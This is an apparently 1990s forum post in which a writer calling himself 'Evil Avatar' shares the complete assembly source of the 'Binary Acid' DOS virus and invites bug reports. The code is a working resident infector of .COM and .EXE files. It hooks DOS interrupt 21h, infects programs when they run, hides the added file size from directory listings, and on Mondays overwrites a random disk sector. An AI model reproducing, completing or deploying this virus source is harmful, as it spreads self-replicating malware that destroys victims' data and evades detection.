
Ok, here is the Binary Acid source.  It compiles to 666 bytes.  It was padded
so some of the code is not as optimised as it should be.  Please tell me if
you find and bugs, descrepancies (sp?), etc.  I'm working on a boot sector
virus right now.  After that I will finish my multipartite one.
-Evil
-------------<slash here>--------------------------------------------------
;Binary Acid Virus
;by Evil Avatar
;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
;It does hide the size change AND avoids CHKDSK and its ilk.

.model tiny                             ;if you are lost already, you
.code                                   ;shouldn't be playing with viruses
org 0h

v_mem   equ (v_end-Acid+15)/16+1
v_word  equ (v_end-Acid)/2
id      equ 0a0ffh
v_file  equ (heap-Acid)

Acid:   call next
next:   pop bp
        sub bp, offset next             ;get delta offset

        mov ax, id
        sub bx, bx
        int 21h                         ;residentcy install check

        push es                         ;save PSP segment
        cmp bx, id                      ;are we here already?
        je check                        ;then exit

        mov ax, 3521h
        int 21h                         ;get int 21h vector
        mov word ptr [bp+save_21], bx
        mov word ptr [bp+save_21+2], es ;save int 21h vector

        mov ax, ds                      ;ds=PSP segment
        dec ax                          ;ax=MCB segment
        mov es, ax                      ;es=MCB segment
        cmp byte ptr es:[0], 'Z'        ;is it last MCB in chain?
        jne done                        ;no? exit
        sub word ptr es:[3], v_mem      ;allocate memory for virus
        sub word ptr es:[12h], v_mem    ;change TOM field in PSP
        mov ax, es:[12h]                ;find virus MCB segment
        mov es, ax                      ;es=virus MCB segment
        mov byte ptr es:[0], 'Z'        ;mark as last in MCB chain
        mov word ptr es:[1], 8          ;DOS now owns this
        mov word ptr es:[3], v_mem-1    ;set the size of segment
        inc ax                          ;ax=virus segment
        mov es, ax                      ;es=virus segment
        lea si, [bp+offset Acid]        ;start of virus
        sub di, di                      ;clear di
        mov cx, v_word                  ;virus size in words
        rep movsw                       ;copy virus to TOM

        push es
        pop ds                          ;put segment in ds
        mov ax, 2521h
        mov dx, offset int21
        int 21h                         ;set new int 21h vector in virus

check:  pop es                          ;restore es
        mov ah, 2ah
        int 21h                         ;get date
        cmp al, 1                       ;is it a monday?
        je destroy                      ;chew a sector
return:        
        cmp sp, 0abcdh                  ;is this an .exe file?
        jne done                        ;no? restore com stuff
        push es
        pop ds
        mov ax, es                      ;ax=PSP segment
        add ax, 10h                     ;adjust for PSP size
        add word ptr cs:[bp+comsave+2], ax ;set up cs
        add ax, word ptr cs:[bp+_ss_sp+2]  ;set up ss
        cli                             ;clear ints for stack manipulation
        mov ss, ax                      ;set ss
        mov sp, word ptr [bp+_ss_sp]    ;set sp
        sti                             ;restore ints
        db 0eah                         ;jump to old program
comsave db 0cdh, 20h, 0, 0

destroy:
        in al, 40h
        xchg al, ah
        in al, 40h                      ;get a random number
        xchg ax, dx
        mov cx, 1
        mov ax, 2
        int 26h                         ;and crunch that sector
        jmp return                      ;return to program

done:   push cs
        pop ds                          ;ds=cs
        push cs
        pop es                          ;es=cs

        mov di, 100h                    ;beginning of program
        push di                         ;for later return
        lea si, [bp+comsave]            ;first 3 bytes of program
        movsb
        movsw                           ;restore first 3 bytes

        ret                             ;return to program

int21:  cmp ax, id                      ;is this an installation check?
        je vcheck                       ;yes? tell 'em we're here
        push bx
        push cx
        push si
        push di
        push es
        push dx
        push ds                         ;save regs
        push ax
        cmp ah, 4bh                     ;hmm..execute huh? well, they
        je v_com                        ;did it to themselves
        cmp ah, 11h                     ;dir check
        je dirfix
        cmp ah, 12h                     ;dir check
        je dirfix
        pop ax
        pop ds
        pop dx
intpop: pop es
        pop di
        pop si
        pop cx
        pop bx                          ;restore regs
        jmp dword ptr cs:[save_21]      ;jump to DOS int 21h

vcheck: xchg ax, bx                     ;put ID into bx
        iret

dirfix: pushf
        call dword ptr cs:save_21       ;simulate int 21h call

        mov word ptr cs:[buffer], ax    ;save return
        push ax
        push si
        pushf                           ;save the new flags
        mov si, sp
        mov ax, [si]                    ;get new flags
        mov [si+10], ax                 ;put them where old flags are
        popf
        pop si
        pop ax

        test al, al                     ;see if file is found
        jnz nofile                      ;if none, exit

        mov ah, 51h
        int 21h                         ;get PSP segment
        mov es, bx
        cmp bx, es:[16h]                ;is it DOS?
        jne nofile                      ;no? avoid CHKDSK
        
        mov ah, 2fh
        int 21h                         ;get DTA in es:bx

        cmp byte ptr ds:[bx], -1        ;is it extended FCB?
        jne cont
        add bx, 7                       ;then add 7 to pointer
cont:   mov cx, ds:[bx+17h]             ;get time
        and cx, 1fh                     ;get seconds
        cmp cx, 1fh                     ;if not 62 secs then exit
        jne nofile

        sub ds:[bx+1dh], v_file
        sbb word ptr ds:[bx+1fh], 0     ;subtract virus size
        
nofile: pop ax                          ;if you can read this
        pop ds                          ;you don't need glasses
        pop dx
        pop es
        pop di
        pop si
        pop cx
        pop bx                          ;restore regs
        mov ax, word ptr cs:[buffer]    ;restore return type
        iret

v_com:  push ds
        push dx
        push cs
        pop ds
        mov ax, 3524h
        int 21h                         ;get critical error handler
        mov word ptr [save_24], bx
        mov word ptr [save_24+2], es    ;save it
        mov ax, 2524h
        mov dx, offset int24            
        int 21h                         ;set new critical error handler
        pop dx
        pop ds        
        push cs
        pop es

        mov ax, 4300h
        int 21h                         ;get attributes of file
        push cx                         ;save attributes
        mov ax, 4301h
        sub cx, cx
        int 21h                         ;clear attributes
        jc booster

        mov ax, 3d02h
        int 21h                         ;open file
        xchg ax, bx                     ;put handle in bx

        push cs
        pop ds                          ;ds=cs for all references
        jmp past_booster
booster:                                ;i hate having to use these
        pop cx
        pop ax
        pop ds
        pop dx
        push ax
        jmp bad_file
text    db 'KW'                         ;you'll never guess
past_booster:
        mov ah, 3fh
        mov cx, 1ah
        mov dx, offset buffer
        int 21h                         ;read first 1ah bytes

        mov ax, 5700h
        int 21h                         ;get file time and date
        mov word ptr [time], cx         ;save time
        mov word ptr [date], dx         ;save date
        and cx, 1fh                     ;get seconds
        cmp cx, 1fh                     ;is it 62 secs?
        je close                        ;already infected

        cmp word ptr [buffer], 'ZM'
        je v_exe
        cmp word ptr [buffer], 'MZ'
        je v_exe                        ;if .exe file then infect it

        mov si, offset buffer
        mov di, offset comsave
        movsb
        movsw                           ;move combytes to comsave
        mov ax, 4202h
        sub cx, cx
        cwd
        int 21h                         ;move pointer to EOF

        sub ax, 3
        mov byte ptr [buffer], 0e9h
        mov word ptr [buffer+1], ax     ;set up jump

write_virus:
        mov ah, 40h
        mov cx, v_file
        cwd
        int 21h                         ;write virus to EOF
        mov ax, 4200h
        sub cx, cx
        int 21h                         ;go to beginning of file
        mov ah, 40h
        mov cx, 1ah                     ;restore buffer size
        mov dx, offset buffer
        int 21h                         ;write header or jump

sign:   mov ax, 5701h
        mov cx, word ptr [time]         ;get time
        or cx, 1fh                      ;set seconds to 62
        mov dx, word ptr [date]         ;get date
        int 21h                         ;set file time and date

close:  mov ah, 3eh
        int 21h                         ;close file

        pop cx                          ;get attributes
        pop ax
        pop ds
        pop dx                          ;get file name
        push ax
        mov ax, 4301h
        int 21h                         ;restore attributes
bad_file:        
        push ds
        push dx
        mov ax, 2524h
        lds dx, dword ptr cs:[save_24]
        int 21h                         ;restore old int 24h
        pop dx
        pop ds
        pop ax
        jmp intpop                      ;return to caller

v_exe:  push bx
        les ax, dword ptr [buffer+14h]  ;get cs:ip in es:ax
        mov word ptr [comsave], ax      ;save ip
        mov word ptr [comsave+2], es    ;save cs
        
        les ax, dword ptr [buffer+0eh]  ;get ss:sp


        mov word ptr [_ss_sp], es       ;save sp
        mov word ptr [_ss_sp+2], ax     ;save ss
        
        add word ptr [buffer+0ah], v_mem   ;set new minimum memory requested
        
        mov ax, word ptr [buffer+8]     ;get header size
        mov cl, 10h
        mul cl                          ;change to bytes
        push ax                         ;save it

        mov ax, 4202h
        sub cx, cx
        cwd                             ;move file pointer to EOF
        int 21h                         ;and get file size in dx:ax
        
        pop cx                          ;restore header size
        push dx
        push ax                         ;save file size
        
        sub ax, cx
        sbb dx, 0                       ;get new cs:ip
        
        mov word ptr [buffer+16h], dx   ;save cs
        mov word ptr [buffer+14h], ax   ;save ip
        
        mov word ptr [buffer+0eh], dx   ;save ss
        mov word ptr [buffer+10h], 0abcdh  ;save sp
        
        pop ax
        pop dx                          ;get file size
        add ax, (v_end-Acid)
        adc dx, 0                       ;add virus size
        
        mov cx, 200h                    
        div cx                          ;convert to pages
        push ax                         ;save it
        or dx, dx                       ;is there a remainder?
        je remainder                    ;yes? increment number of pages
        inc ax
remainder:        
        mov word ptr [buffer+4], ax     ;save number of pages
        pop ax
        and ah, 1
        mov word ptr [buffer+2], ax     ;file size MOD 512
        pop bx
        jmp write_virus

int24:  mov al, 3                       ;fail the call
        iret

vname   db '[Binary Acid]', 0           ;do you need this explained???
author  db '(c) 1994 Evil Avatar', 0    ;this is me (duh!)
_ss_sp  dd ?                            ;stack pointer
heap:                                   ;variables
save_21 dd ?                            ;int 21h entry
save_24 dd ?                            ;int 24h entry
time    dw ?                            ;file time
date    dw ?                            ;file date
buffer  db 1ah dup (?)                  ;buffer
v_end:
end Acid
